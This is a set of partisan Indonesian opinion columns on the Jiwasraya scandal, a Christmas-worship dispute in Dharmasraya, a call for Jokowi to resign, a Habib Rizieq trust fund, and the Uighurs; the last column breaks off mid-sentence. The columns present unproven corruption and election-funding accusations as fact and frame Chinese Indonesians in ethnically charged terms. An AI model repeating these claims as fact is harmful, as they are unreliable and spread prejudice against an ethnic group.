By Nasrudin Joha Jakarta, FNN - Kerja Asuransi itu menjual janji kepada nasabah, nasabah membeli janji dengan membayar sejumlah premi. Janji asuransi itu macam-macam : ada janji kalau mati dapat duit, kalau lulus SMA mau kuliah dapat duit, kalau sakit dapat duit, kalau kecelakaan dapat duit, dan janji lain yang semisalnya. Ingat ya, asuransi itu tidak menjual barang atau jasa, asuransi itu hanya menjual janji dengan syarat tertentu. Jika syarat tertentu terpenuhi, maka janji tadi baru ditunaikan. Nasabah akan memberi janji secara berkala melalui pembayaran premi. Perusahaan Asuransi itu akan untung, jika jumlah klaim lebih kecil ketimbang penerimaan premi. Karena itu, jika dalam satu produk Asuransi terjadi keadaan dimana klaim Asuransi melebihi batas, atau melebihi besaran premi yang dipungut, maka produk Asuransi ini dinilai produk gagal. Asuransi akan menutup biaya klaim Asuransi dari kumulasi premi yang dibayarkan nasabah. Karenanya, penting bagi Asuransi untuk memperketat klaim dengan membuat sejumlah syarat rumit, agar jumlah klaim tak melebihi batas rasio yang ditetapkan. Bahkan, kalau bisa klaim tak bisa dicairkan. Modusnya banyak. Sederhananya, jika ada 100 peserta asuransi kecelakaan kerja, maka asumsinya perusahaan akan untung jika tren kecelakaan tidak melebihi jumlah premi yang dikumpulkan. Jika ada 100 peserta asuransi kecelakaan, pada saat bersamaan naik kapal laut, tenggelam dan mati, bisa dipastikan perusahaan asuransi pasti bangkrut. Pada perkembangannya, perusahaan Asuransi tidak mengandalkan kumpulan premi yang dikumpulkan untuk membayar klaim Asuransi. Uang yang terkumpul, kemudian di investasikan dalam bisnis tertentu. Bisnis inilah yang menghasilkan untung bagi perusahaan Asuransi, yang sebagian keuntungan digunakan untuk membayar klaim Asuransi secara berkala. Al hasil, Asuransi telah berkembang dari sekedar instrumen untuk jualan janji menjadi instrumen untuk mengumpulkan dana publik untuk modal investasi. Untuk itu, agar perusahaan Asuransi bisa bertahan dan dinilai sehat, harus memenuhi syarat. Termasuk ketersediaan modal untuk kepentingan pembayaran klaim nasabah. Permasalahan PT Asuransi Jiwasraya (Persero) menyedot perhatian publik dalam beberapa waktu terakhir. Pasalnya, perseroan menunggak pembayaran klaim polis jatuh tempo kepada nasabah hingga Rp12,4 triliun untuk periode Oktober-Desember 2019. Kenapa Jiwasraya tak mampu membayar klaim ? Jawabnya karena tidak ada modal tersedia. Kenapa tidak ada modal tersedia ? Bukankah semua peserta asuransi yang terdaftar membayar premi ? Kemanakah kumpulan uang premi yang dikumpulkan asuransi dari nasabah ? Jawabnya, digunakan untuk bisnis borong saham dan hangus. Ikut pasar saham ecek-ecek, modus untuk 'menggarong duit peserta' dengan membeli saham gorengan, sehingga duit nasabah itu ambyar. Apa itu saham gorengan ? Yakni saham yang tidak memiliki nilai intrinsik sesuai dengan keadaan real bisnis yang digeluti, saham yang nilainya melejit bukan karena kinerja perseroan tapi karena ada 'permainan para penggoreng di bursa saham' sehingga nilainya naik fantastis. Misalnya, saham itu nilainya Rp. 120 per lembar, lantas ada para penjudi saham (mafia saham, biasanya kalau mau menggoreng saham mereka telah menyiapkan minyak berupa modal besar untuk memborong sejumlah saham gorengan). Mereka ini kemudian memborong saham dengan jumlah fantastis, karena ada permintaan yang tinggi nilai saham otomatis melejit. Melejitnya nilai saham ini tergantung seberapa tinggi permintaan (demand) di bursa saham. Semakin besar modal minyak gorengan saham, semakin tinggi permintaan, semakin melejit nilai saham. Pada titik tertentu, saham lemah yang digoreng nilainya naik dari Rp. 120 menjadi Rp. 3000,- per lembar. Saat saham sudah memiliki harga mahal, saat itulah jiwasraya memborong saham dengan harga mahal. Aksi borong saham ini jelas sudah ada niat mau merampok jiwasraya, karena pembeli saham jelas sudah tahu saham yang ditempatkan adalah saham gorengan. Setelah dana jiwasraya masuk memborong saham gorengan, para penggoreng saham dibursa saham segera melakukan aksi ambil untung (capital gain) dengan menjual seluruh sahamnya yang nilainya telah naik beratus hingga ribuan kali lipat. Pindahlah, uang dari jiwasraya yang masuk ke pasar saham, berpindah kepada para penggoreng saham. Karena ada aksi jual besar-besaran, yang dilakukan para penggoreng saham akhirnya nilai saham itu jatuh dan kembali kepada nilai normalnya yakni 120 per lembar. Jiwasraya, mengalami kerugian karena beli saham 3000 perlembar, namun dalam sekejap nilai saham anjlok menjadi 120 per lembar. Tinggal dikalikan berapa juta lembar saham yang diborong. Aksi ini tak mungkin terjadi kecuali ada otoritas pejabat di jiwasraya yang bermain dengan para penggoreng saham. Aksi penempatan investasi dana jiwasraya itu hanyalah cara, untuk memindahkan uang nasabah asuransi jiwasraya kepada para penggoreng saham di bursa saham. Jadi, uang nasabah dirampok oleh para penggoreng saham, sementara yang membukakan pintu rumah agar dirampok adalah otoritas pejabat jiwasraya yang menempatkan dana nasabah pada pasar saham. Sampai disini jelas ya. Kita lanjutkan... Fakta pada kasus jiwasraya, Hasil penyidikan Kejaksaan Agung (Kejagung) menemukan manajemen Jiwasraya menaruh 22,4 persen dana investasi atau senilai Rp5,7 triliun di keranjang saham. Tidak hanya itu, 98 persen dari dana investasi di reksa dana atau senilai Rp14,9 triliun dititipkan pengelolaannya kepada perusahaan manajer investasi dengan kinerja buruk. Sisanya, hanya 2 persen yang dikelola oleh perusahaan manajer investasi dengan kinerja baik. Imbasnya, ekuitas perseroan tercatat negatif Rp23,92 triliun per September 2019. Jiwasraya membutuhkan dana sebesar Rp32,89 triliun untuk memenuhi rasio solvabilitas atau Risk Based Capital (RBC) 120 persen. Keadaan inilah, yang menyebabkan jiwasraya tak mampu membayar klaim polis jatuh tempo kepada nasabah hingga Rp12,4 triliun untuk periode Oktober-Desember 2019. Inilah fase perampokan jiwasraya. Fase berikutnya, rezim Jokowi melalui Erick Tohir bukannya mencari otoritas pejabat jiwasraya yang membuka pintu rumah sehingga jiwasraya dirampok para penggoreng saham, tetapi justru meminta BUMN asuransi bikin holding, tanggung renteng membayar kewajiban jiwasraya kepada nasabah. Padahal, anggaran BUMN itu terkategori uang negara. Berarti, rezim Jokowi telah menggunakan uang negara untuk tombok (ganti bayar) atas dana yang dirampok mafia penggoreng saham yang berkolaborasi dengan pejabat jiwasraya. Celakanya, ada bau 'amis' perampokan uang nasabah jiwasraya ini digunakan untuk kampanye Pilpres 2019. Jika hal ini terjadi, sangat wajar karena otoritas bursa saham tentu tidak akan membiarkan terjadinya transaksi yang tak wajar, kecuali ada intervensi kekuasaan. Jiwasraya ini hampir sama dengan kasus century. Sama-sama merampok. Bedanya ? Century bikin wacana bank gagal yang berdampak sistemik, kemudian negara melakukan bail out dengan menginjeksi duit sebesar 7 triliun untuk menyelamatkan century. Duit itulah, yang dijadikan bancakan para mafia dan politisi. Jadi ada dua bancakan, pertama bancakan dana nasabah bank century yang digelapkan. Kedua, bancakan duit bail out bank century yang dikorupsi rame-rame. Sedangkan kasus jiwasraya, yakni bancakan duit dari hasil goreng-gorengan saham yang nilainya menyebabkan jiwasraya rugi 13,7 T. Kemungkinan, akan ada bancakan kedua ketika rencana holding BUMN asuransi terealisasi. Boleh jadi, nanti modusnya dengan menambah nilai Penyertaan Saham Negara pada BUMN asuransi. Tapi ada kesamaan antara century dan jiwasraya. Sama-sama bau amis Pilpres. Century bau amis rezim SBY, jiwasraya bau amis rezim Jokowi. Ada satu lagi, skandal BLBI. Ini juga sama, bau amis. Tapi BLBI bukan karya SBY atau Jokowi, skandal BLBI adalah karya Megawati. Penulis adalah Wartawan Senior

Jangan Asal Omong Soal Larangan Natal di Dharmasraya

Di Sikabau tidak ada gereja. Ini sesuai dengan ketentuan populasi untuk mendirikan geraja. Hanya ada 6 KK Kristen. Jika mereka ingin merayakan Natal secara berjemaah, ada tempatnya. Ada gereja di Sawahlunto. Selama ini, kesepakatan itu selalu dihormati. By Asyari Usman Jakarta, FNN - Isu larangan perayaan Natal di Nagari (Desa) Sikabau, Kecamatan Pulau Sijunjung, Kabupaten Dharmasraya, Sumatera Barat, menjadi viral di media sosial akibat provokasi. Di tengah suasana yang sensitif belakangan ini, apa saja topik yang terkait dengan hubungan antar-pemeluk agama, sangat mudah marak. Apalagi ada narasi “larangan Natal”, pastilah akan gemuruh. Para buzzer bayaran selalu berada di barisan depan dalam mengompori suasana. Padahal, mereka tidak paham masalah yang terjadi di Nagari Sikabau. Dan tidak mengerti bahwa masih banyak kampung-kampung di Sumbar yang belum mengenal perayaan Natal. Kabupaten Dharmasraya adalah salah satu kabupaten yang belum lama bersentuhan dengan non-Islam. Orang Kristen baru masuk ke daerah itu sekitar 1980-an. Pada saat ini, di kabupaten itu hanya ada 44 keluarga (KK) Kristen. Di Nagari Sikabau sendiri hanya ada 6 (enam) KK Kristen. Sebelum 1980, tidak ada orang Kristen di Dharmasraya. Mereka masuk ke daerah itu dengan membeli tanah/lahan milik orang Jawa yang memutuskan untuk kembali ke pulau Jawa. Orang-orang Jawa yang masuk ke Dgarmasraya, dan akhirnya sampai ke Nagari Sikabau, adalah para pekerja tambang batubara di Sawahlunto dan pabrik semen Indarung. Menurut cerita orang-orang tua di Sikabau, orang-orang Jawa itu lari dari kerja berat ala Belanda di tahun 1940-an. Mereka terdampar dan terlantar di wilayah Dharmasraya yang pada 2003 berubah menjadi Kabupaten Dharmasraya. Warga Sikabau menolong mereka. Kepada para pendatang Jawa itu disediakan lahan untuk bersawah. Tempat tinggal mereka berbentuk pondok besar (bedeng panjang) dibuatkan oleh warga. Pendatang Jawa dan warga Sikabau membuat perjanjian soal kepemilikan lahan/tanah. Para pendatang bersedia mematuhi perjanjian untuk tidak menjual lahan atau rumah mereka kepada orang non-Muslim. Bagi masyarakat Dharmasraya, dan juga beberapa kabupaten lain yang tulen berpenduduk Muslim, perjanjian itu sangat penting. Orang Minang umumnya memiliki aturan adat-istiadat yang ketat dan dijunjung tinggi. Adat-itiadat itu berlandaskan syariat, dan syariat itu berlandaskan Al-Quran. Inilah yang tersurat di dalam “ideologi” Minang yang berbunyi. “adaik basandi syarak, syarak basandi kitabullah”. Yaitu, “adat bersendikan syariat, syariat bersendikan Al-Quran”. Hal-ihwal agama Islam sangat fundamental bagi warga Minang. Meskipun sekarang keberagaman sudah lumrah di Minangkabau, tetapi bagi daerah-daerah tertentu masih tinggi resistensi terhadap praktik-praktik keagamaan non-Islam, termasuklah perayaan Natal. Di kampung-kampung seperti Nagari Sikabau, penduduknya belum terbiasa melihat prosesi perayaan Natal. Dengan jumlah 6 KK saja orang Kristen di Sikabau, warga di situ mungkin merasa perayaan Natal berat untuk diterima. Akhirnya, pada 21 Desember 2017, Wali Nagari Sikabau, para pemuka adat (ninik mamak), serta tokoh pemuda membuat pernyataan keberatan terhadap perayaan Natal dalam format berjemaah yang dilaksanakan di rumah warga Kristen. Tetapi, keenam keluarga Kristen itu dibolehkan melaksanakan perayaan Natal di rumah masing-masing tanpa mengundang tamu. Di Sikabau tidak ada gereja. Ini sesuai dengan ketentuan populasi untuk mendirikan geraja. Hanya ada 6 KK Kristen. Jika mereka ingin merayakan Natal secara berjemaah, ada tempatnya. Ada gereja di Sawahlunto. Selama ini, kesepakatan itu dihormati. Nah, masuk akalkah keberatan warga Sikabau terhadap perayaan Natal beramai-ramai di sebuah rumah? Pertanyaan ini hanya bisa dijawab dengan perasaan. Tidak perlu cara “blowing up” yang dilakukan oleh Sudarto, manajer PUSAKA Foundation di Padang. Dia ini termasuk yang sengaja membesar-besarkan keberatan warga Sikabau terhadap perayaan Natal. Pada 23 Desember kemarin, Sudarto mengeluarkan pernyataan pers. Isinya, dia senang karena tahun ini (2019) umat Katolik stasi Santa Anastasia Jorong Kampung Baru, Nagari Sikabau, bisa merayaan Natal. Tekanan penguasa nasional berhasil dihimpun oleh Sudarto. Dan dia agak sesumbar dalam ‘press release’ dan di akun FB-nya. Sudarto mengatakan, hasil tekanan nasional itu masih harus dikawal terus. Beginikah cara yang baik untuk menjaga persaudaraan kebangsaan? Mungkin Sudarto bisa menjelaskannya. Seorang teman di Sikabau bercerita bahwa tekanan kekuasaan nasional itu dikerahkan dalam bentuk mirip intimidasi terhadap warga Sikabau. Sejak kemarin, di kampung kecil itu ada satuan Brimob dan bahkan Densus 88. Banyak pula intel yang berkeliaran. Warga Sikabau, kata sejumlah sumber, merasa tekanan kekuasan itu berlebihan. Tetapi, inilah akibat dari orang-orang yang mengeluarkan pernyataan “asbun” tentang larangan Natal yang viral itu. Warga pastilah senyap melihat petugas keamanan yang hadir dengan “high profile”. Penulis adalah Wartawan Senior

Jokowi Pantas Lengser

Rakyat sedang takut, dan khawatir dengan menguatnya dominasi Cina Tiongkok di negeri ini. Sebab dominasi Cina Tiongkok itu terlihat dan nyata pada hampir semua bidang kehidupan berbangsa dan bernegara kita. Baik itu bidang investasi, hutang luar negeri maupun peran Cina diaspora yang sekarang menguasai dua pertiga sektor ekonomi nasional. By M. Rizal Fadillah Jakarta, FNN - Ini cuma soal kepantasan saja. Bukan soal desakan, apalagi sampai pemaksaan segala. Lima tahun memimpin tanpa membawa kebanggaan sebagai bangsa yang dihormati atau disegani tingkat antar negara. Rakyat tidak merasakan prestasi yang meskipun sekedar wajar-wajar saja. Tidak perlu ada pestasi yang sangat menonjol atau spektakuler. Datar-datar saja pun tidak. Kini Jokowi menjadi Presiden lagi hanya berbekal tudingan kemenangan yang kontroversial. Banyak yang meragukan akurasi data dan angka-angka kemenangan tersebut. Meski dibantu dengan penampilan wibawa dan bertoga dari hakim Mahkamah Konstitusi (MK). Jokowi juga sering tidak hadir di forum-forum internasional. Kenyataan ini menandai kurangnya punya rasa percaya diri dalam pergaulan global. Bisa saja akibat dari sulitnya kemampuan berbahasa asing. Begitu pula dengan pemahaman dan nerasi masalah-masalah internasional yang juga terbatas. Tampilan dan gaya juga minim. Artinya, kurang punya wibawa di forum-forum internasional. Memang sering tampil di depan rakyat pedesaan. Tetapi orang sangat paham dan mengetahui kalau tampilan tersebut hanya artifisial belaka. Akibatnya, blunder yang selalu bermunculan. Contoh paling terakhir adalah Presiden Jokowi dibonceng motor tanpa pakai helm. Namun begitu ngobrol dengan para petani, malah keliatan pakai helm. Kenyataan yang seperti ini sering menjadi bahan olok-olokan di media, terutama di media sosial. Rakyat melihat bahwa "kekuatan" dirinya hanyalah pencitraan semata. Tidak otentik apa adanya. Tragisnya, pencitraan itu artinya penipuan. Menganggap "pemirsa" televise itu adalah orang-orang yang gampang untuk diakali hanya dengan sorotan dari para juru kamera. Pejabat Amatiran Program kerakyatan yang disuguhkan ke masyarakat amburadul di lapangan. BPJS kesehatan yang sok meng"cover" semua kebutuhan kesehatan masyarakat melalui asuransi, nyatanya menjadi pengemplang hutang ke unit usaha kesehatan sendiri. Rumah sakit malah dibuat sekarat. Jualan kartu rupanya tidak laku dan tak jelas realisasinya. Kartu Indonesia Pintar hanya membuat orang pintar mainkan kartu. Kartu Pra Kerja hanya bikin orang terampil bekerja membuat kartu. Sedangkan Kartu Sembako Murah hanya menjadikan rakyat mampu beli kartu yang murah. Sementara hasilnya seperti pintar, kerja, dan sembakonya menguap ke awang awang. Lagi-lagi janji yang tak terealisasi. Wajar saja kalau Presiden diragukan kemampuannya untuk mengelola amanah dari rakyat. Jabatan dibagi bagi untuk tim lingkaran dalam. Mulai dari jabatan Menteri hingga Komisaris di Badan Usaha Milik Negara (BUMN). Akibatnya, jabatan diisi secara asal dan amatiran. Menteri Pendidikan tidak berlatarbelakang pendidikan atau budaya. Menteri Agama yang gemar menyerang agama. Menteri Perdagangan tidak mahir berdagang. Menteri Kesehatan punya kasus tak sehat. Menteri Kelautan dan Perikanan jualan benih lobster. Menteri Keuangan punya keahlian berburu hutang. Hutang luar negeri negara kita kini lebih dari lima ribu lima ratus triliun rupiah. BUMN Memprihatinkan BUMN hingga kini masih terus merugi . Beban hutang BUMN sangat berat, baik untuk pembayaran hutang jangka pendek maupun jangka panjang. Jadi, BUMN jangankan untuk bisa untung. Untuk bisa membayar hutang sendiri saja sudah sangat bagus. Sebab kalau tidak bisa membayar hutang saat jatuh tempo, maka dihatirkan bakal ditombokin oleh rakyat melalui APBN. Sekarang PT Asuransi Jiwasraya terlibat skandal. Untuk sementara skandal Jiwasraya diperkirakan sebesar Rp 15 triliun. Angka yang sangat pantastis untuk ukuran kekinian. Angka paling besar yang menghebokan adalah skandal Bank Century Rp 7,4 triliun, atau skandal e-KTP Rp 2,3 triliun. Lantas bagaimana dengan BUMN yang lain? Sampai sekarang nasib BUMN lain belum terbukti bersih dari skandal saja. Namun bisik bisik di ruang publik, konon BUMN lain hanya belum sampai atau belum ditemukan saja. Namun kemungkinan nasibnya tidak bakalan berbada jauh dengan yang terjadi sekarang pada PT Asuransi Jiwasraya itu. Cukup menjadi gambaran bahwa pengelolaan BUMN selama lima tahun terakhir ini sangat memprihatinkan. Alih-alih konsentrasi pada sukses program kerakyatan dan pemulihan ekonomi nasional melalui BUMN. Presiden Jokowi malah sibuk dengan mainan proyek barunya. Proyek yang muncul dari nafsunya sendiri, yaitu rencana pemindahan ibukota negara ke luar dari Jakarta. Artinya, siap-siap bakalan bikin hutang baru lagi. Jumlahnya juga tiddak kecil. Sekitar Rp 466 triliun. Rakyat sedang takut, dan khawatir dengan menguatnya dominasi Cina Tiongkok di negeri ini. Sebab dominasi Cina Tiongkok itu terlihat dan nyata pada hampir semua bidang kehidupan berbangsa dan bernegara kita. Baik itu bidang investasi, hutang luar negeri maupun peran Cina diaspora yang sekarang menguasai dua pertiga sektor ekonomi nasional. Lahan dan sumber daya alam juga semakin tergerus dan sempit bagi kaum pribumi. Akan tetapi pemerintahan Jokowi nampaknya semakin nyaman saja berpelukan erat dengan negara Cina komonis. Kegelisahan dan keresahan rakyat sepertinya tak mau didengar. Tidak juga mau diperhatikan atau dipedulikan. Tidak ada kebijakan yang protektif, terutama di bidang ekonomi atau agraria. Masa depan negara Indonesia suram dipimpin Presiden Jokowi. Karenanya memang pantasnya Jokowi lengser agar ada pemimpin baru yang lebih baik untuk membawa kebahagiaan bagi masyarakat, umat, bangsa, dan negara. Moga saja ada hidayah dan inayah dari Allah. Aamiin. Penulis adalah Pemerhati Politik

Habib Rizieq Kekuatan Trust Fund

By Dr. Syahganda Nainggolan Jakarta, FNN - Ceramah saya pada tokoh-tokoh muda Islam di Jakarta beberapa waktu lalu dinaikkan oleh Professor Musni Umar, sosiolog yang juga Rektor Universitas Ibnu Chaldun, dalam tweeter nya beberapa waktu lalu sebagai berikut, "Dr. syahganda Nainggolan dalam diskusi siang ini (20/12) berkata Habib Rizieq Shihab merupakan tokoh yang memiliki pengaruh dan kepercayaan yang tinggi dimata publik. Jika pendukungnya bersama pakar dirikan Trust Fund guna dirikan lembaga keuangan bisa himpun dana triliunan rupiah" (https://t.co/zn5cuyBFis). Sosiolog Musni Umar kebetulan saja mampir ketempat diskusi tersebut. Dia mampir bukan sebagai pembicara. Bukan pula sebagai peserta. Namun, ketika mengamati serangkaian ceramah yang saya sampaikan dalam tema "Radikalisme dalam Perspektif Demokrasi", justru bagian pembahasan bagaimana mem "break down" kekuatan ummat Islam yang ada selama ini, dari 212 dan Habib Rizieq menjadi kekuatan finansial dan lembaga pembiayaan ummat yang di quote Professor Musni. Habib Rizieq & Kepercayaan Kepercayaan adalah harta yang paling mahal di dunia. Kepercayaan itu dapat dimiliki individu, kelompok maupun institusi. Kepercayaan adalah sumber interaksi sosial yang kuat. Dalam sebuah masyarakat, semakin banyak individu2 yang dipercaya, akan semakin meningkat soliditas masyarakat tersebut. Meskipun, soliditas palsu dapat dilakukan dengan tangan besi oleh rezim yang otoriter. Soliditas yang alami sangat berbeda dengan yang terpaksa. Karena soliditas yang alami tersebut dapat menciptakan solidaritas social yang besar. Yang alami akan memunculkan "high trust society", di mana kepercayaan diantara masyarakat begitu tinggi. Sebaliknya, soliditas yang palsu, karena tekanan kekuasaan menyimpan banyak kecurigaan diantara masyarakat. Terjadi fenomena individual selalu mengambil lebih banyak keuntungan dari interaksi sosial (sistem sosial) terhadap individu atau kelompok masyarakat lainnya. Dengan kata lain, prilaku curang selalu menonjol dalam masyarakat. Munculnya orang-orang yang dapat dipercaya masyarakatnya haruslah melalui mekanisme hubungan-hubungan sosial yang terjadi. Dimana individual selalu disaksikan konsistensinya dalam bertindak. Godaan kekuasaan, harta dan wanita yang datang secara kasat mata maupun dalam bungkusan yang terselubung dapat menghentikan atau mengurangi konsistensi ucapan, sikap dan tindakan seseorang dalam menjalankan cita-citanya. Habib Muhammad Rizieq Shihab adalah manusia yang paling dipercaya di Indonesia saat ini. Pernyataan yang paling bersifat relatif terhadap figur figur lain yang ada. Relatif artinya banyak figur-figur yang dapat dipercaya, khususnya oleh sub-sub kelompok masyarakat. Sayangnya, secara nasional, hanya sedikit figur yang bisa dipercaya oleh masyarakat. Apa bedanya secara nasional versus sub-sub tersebut di atas? Maksudnya, sebuah skala ketika kita membuat ruang lingkup pada dimensi yang hanya bisa diukur secara nasional. Apa misalnya? Jika kita ingin berbicara keadilan sosial, hak-hak berpolitik dan berserikat, pembangunan nasional. Sedangkan yang menyangkut sub-sub seperti urusan perbedaan mazhab, dimensi tertentu kehidupan, seperti urusan pendidikan, atau lainnya tentu mempunyai tokoh-tokoh sendiri yang dipercaya. Habib Rizieq adalah satu yang paling utama dibanding ulama lainnya. Habib Rizieq mampu meyakinkan rakyat dalam skala besar. Contohnya seperti pada Pemilihan Gubernur (Pilgub) DKI 2017 lagi. Begitu juga pada Pilpres 2019. Dia mampu mayakinkan orang untuk memilih pemimpin. Dua hal itu adalah gambaran nyata hasil dari konsistensi Habib Rizieq dalam berucap, bersikap dan bertindak. Habib Rizieq telah mengalami tawaran-tawaran uang "pembangunan" triliunan untuk kompromi. Namun semua tawaran itu dia tolak. Lalu dipenjarakan, dan yang terakhir di pengasingan (in exile). Semua resiko ini telah menciptakan kepercayan rakyat yang sangat besar kepadanya. Sebuah balasan dan pengakuan rakyat atas konsistensi sikapnya. Potensi Trust Fund Trust Fund hanyalah salah satu konversi dari kepercayaan rakyat pada Habib Rizieq yang dapat dibreak down. Ummat Islam tentu telah mencoba mengkonversi 212 menjadi koperasi 212. Namun belum mencapai hasil yang maksimal. Ketika Valentino Dinsi, tokoh koperasi 212, ke rumah saya berdiskusi membangun kekuatan "Syarikat Dagang Islam", saya katakan potensi itu ada. Saat ini, dibanding jaman Habibie dan ICMI menggalang dana ummat untuk membangun koran Republika dan Bank Muamalat, jauh lebih hebat sekarang ini. Baik dari sisi soliditas ummat maupun dari sisi munculnya jutaan urban muslim middle class. Trust bisa juga merupakan waqaf (lihat : waqaf vs. trust, https://islamicmarkets.com/education/waqf-vs-trusts). Kisah Waqaf Habib Bugak dari Aceh di Madinah ratusan tahun lalu, telah berbuah bagi para haji dari Aceh saat ini. Selain Trust Fund, berbagai instrument financial Islam juga dapat dikembangkan seperti Habib Rizieq Insurance, Habib Rizieq Islamic Bank, dan Habib Rizieq Mutual Fund. Jika sepuluh juta massa 212 menjadi pemilik Trust Fund itu dengan rata-rata menitipkan uangnya Rp. 100.000,-, maka Habib Rizieq Trust Fund akan memiliki kekayaan Rp. 1 triliun. Ini langkah kecil bagi Habib Rizieq dan kelompok ulama 212 dalam membangun lembaga pembiayaan Islam ke depan. Pekerjaan ini bukan pekerjaan susah dijaman internet of things (IOT) saat ini. Meskipun secara teknikal harus dikerjakan praktisi-praktisi keuangan muslim yang muda dan ikhlas. Penutup Habib Rizieq adalah manusia yang bisa dipercaya Bangsa Indonesia, khususnya ummat Islam Indonesia ini. Tweets Professor Musni Umar mengenai pikiran saya untuk mem "break down" kepercayaan tersebut menjadi lembaga pembiayaan ummat harus dapat dikembangkan, dibanding sekedar "show of force" massa jutaan umat untuk reuni 212. Deputi Gubernur BI, Dody Waluyo mengatakan pada Juli 2019 total "Islamic Finacial Assets" sebesar Rp 1.359 triliun atau 8,7% dari total aset keuangan nasional. (Jakarta Post, 13/11/2019). Kelemahan dalam pengembangan ekonomi syariah terletak pada kekurangan memproduksi produk dan servis halal. Kita malah lebih banyak sebagai konsumen. Lalu, dalam sumber yang sama, Ventje Rahardjo, ketua KNKN (Komite Nasional Keuangan Syariah) mengatakan pungutan amal dan zakat hanya Rp 8 Triliun, sedangkan potensi yang dihitung oleh The Islamic Development Bank berkisar Rp. 200 tiliun. Ini sangat memprihatinkan. Kelemahan sektor keuangan Syariah ini di atas tentu berkaitan dengan kepercayaan masyarakat pada institusi keuangan resmi yang ada. Pertanyaan masyarakat saat ini berkisar pada kehalalan produk keuangan dan pengelolaannya. Selian itu, kepercayaan atas manajemen institusi keuangan yang ada. Hal ini akan mempunyai dampak keinginan rakyat mencari lembaga keuangan baru yang menjamin kehalalan dan jaminan resiko atas harta mereka. Apalagi di sektor finansial non Islamic, seperti isu korupsi melanda dan mengguncang asuransi Jiwasraya dan Bumiputra, baru baru ini. Dimana Jiwasraya dikaitkan dengan dana politik, begitu menghancurkan kepercayaan masyarakat pada institusi dan prilaku moral dan akhlak kaum profesional yang ada. Saatnya Habib Rizieq dan ulama 212 mengembangkan kekuatan umat di sektor keuangan untuk membiayai pembangunan umat Islam di luar sektor negara. Penulis adalah Direktur Eksekutif Sabang Merauke Circle, Mantan Staf Khusus Dirut PT. Jamsostek

Peri Kemanusiaan Terhadap Muslim Uighur

Oleh Dr. Ahmad Yani, SH. MH. Jakarta, FNN - Gejolak dunia Islam tidak henti-hentinya. Begitu juga dengan umat Islam di berbagai belahan dunia terus mengalami diskriminasi dan penyiksaan. Di India Undang-undang “Anti Muslim” dibuat untuk memarginalkan 200 juta Muslim India. Di China di bawah bayang-bayang komunisme, Muslim Uighur mendapatkan perlakuan menyedihkan. Quran dibakar, masjid ditutup, sekolah teologi Islam dan madras dilarang, cendekiawan dibunuh satu persatu. Namun dunia Islam masih diam dan diam atas penyiksaan yang keji itu. Melihat kenyataan pahit yang menimpa umat Islam itu, seorang pesepakbola terkenal, Mezut Ozil menulis dengan keras. “Jika anda tidak dapat mencegah penganiyayaan, buatlah agar diketahui umum”. Bgitu kata Ozil. Keributan pun tak dapat dielakkan. China marah, berang, karena perilaku tidak manusiawinya terhadap satu juta Muslim Uighur kini diungkapkan di hadapan publik. Boikot terhadap Club tempat Pemain bola muslim itu diteriakkan di China. Ormas-ormas Islam di Indonesia mendapatkan terpaan isu miring dengan diamnya terhadap kejahatan kemanusiaan di Uighur. Laporan The Wall Street Journal mencengangkan. Ormas-ormas Islam telah menerima “uang diam” dari China. Bahkan secara frontal SWJ mengatakan bahwa ulama dan tokoh-tokoh Islam organisasi besar Indonesia telah menerima “uang diam” itu. Tentu tuduhan itu menggemparkan jagat media Indonesia. Muhammadiyah dengan keras bereaksi dan mengatakan itu adalah fitnah terhadap Ormas Islam. Muhammadiyah membantah. Maka mulailah suara tentang Uighur kembali mencuat di Indonesia. Muhammadiyah mengecam, Majelis Ulama Indonesia pun ikut mengecam. Tokoh-tokoh Islam seperti Prof. Din Syamsuddin mendesak pemerintah Indonesia untuk bebicara. Profisor Din pun mengkritik sikap pemerintah Indonesia yang memilih diam. Sikap itu memperlihatkan betapa lemahnya Indonesia di mata pemerintah Cina tentang masalah Muslim Uighur ini. Di tengah keributan demi keributan, tuntutan demi tuntutan, pemerintah Indonesia masih belum bersuara sedikitpun. Beredarlah Statemen Prof. Salim Said kira-kira setahun yang lalu mempertanyakan sikap pemerintah indonesia yang tidak mau menerima Ulama Uighur yang ingin memberikan cedera mata, berupa Al-Quran yang ditulis Tangan. Jokowi menolak menerima tamu Ulama Uighur tersebut dengan mengatakan tidak enak dengan pemerintah China. “Apakah Indonesia dijajah China?” tanya Prof Salim. Inilah fakta sebenarnya yang sedang dihadapi Indonesia. Antara rasa tidak enak dan kemanusiaan yang harus diperjuangkan sebagaimana yang menjadi kewajiban konstitusional negara. Pembukaan UUD 1945 memerintahkan bahwa negara Indonesia harus ikut terlibat dalam perdamaian dunia dengan berdasar pada ketuhanan Yang Maha Esa, Kemanusiaan yang Adi dan Beradab. Perintah konstitusi itu sebenarnya adalah tujuan daripada Indonesia merdeka? Namun kenapa Indonesia diam? Apa yang tengah membuat Indonesia sebagai negara dengan populasi berpenduduk Muslim terbesar di Dunia memilih bungkam atas kejahatan kemanusiaan di Uighir? Bungkam terhadap saudara sesama muslimnya? Apakah negara ini sudah tidak lagi berpihak kepada Islam dan kemanusiaan? Tidak perlu menjadi Islam untuk melihat kejahatan kemanusiaan itu. Cukup menjadi manusia saja. Karena sepanjang wilayah Turkistan Timur itu, yang dulu adalah satu negara Islam kini yang telah berada di bawah China, tangisan dan rintihan itu menggema. Anak dipisahkan dari bapaknya, istri diambil dari suaminya, suami dibawa di hadapan Istrinya. Orang-orang kehilangan saudara-saudaranya. Mereka di tampung dalam camp konsentrasi. Meski orang-orang mengatakan bahwa camp itu manusiawi, karena mereka mungkin mendapatkan “uang bicara” untuk membela China. Yang namanya Camp Konsentrasi itu tidak pernah ada kata manusiawi, karena namanya saja sudah menunjukkan satu keadaan masa perang dunia satu dan dua. Dimana saja ada Camp Konsentrasi, maka itu merupakan tempat penyiksaan dan pembantaian. Indonesia Harus Bersikap Sekali lagi ini panggilan kemanusiaan. Juga ini panggilan nurani kita sebagai manusia beradab. Juga ini panggilan persaudaraan bagi muslim di Indonesia untuk membela kaum-kaum yang tertindas, dan orang yang teraniyaya. Setidak sudah 30 negara yang mengecam tindakan persekusi China terhadap Uighur. Inggris dalam Sidang PBB meminta China membuka kamp-kamp yang berada di Xianjiang. Penganiayaan itu semakin kentara ketika media Amerika New York Times melaporkan dokumen bocor soal kamp penahanan etnis ini. Dalam dokumen itu, Presiden China Xi Jinping memerintahkan pejabat untuk bertindak tanpa belas kasih terhadap warga Uighur yang minoritas muslim itu. Perilaku Xi Jinping dan komunis China terhadap Muslim Uighur adalah pembantaian etnis dan pemusnahan etnis. Tentu ini melanggar hukum-hukum internasional. Maka menjadi 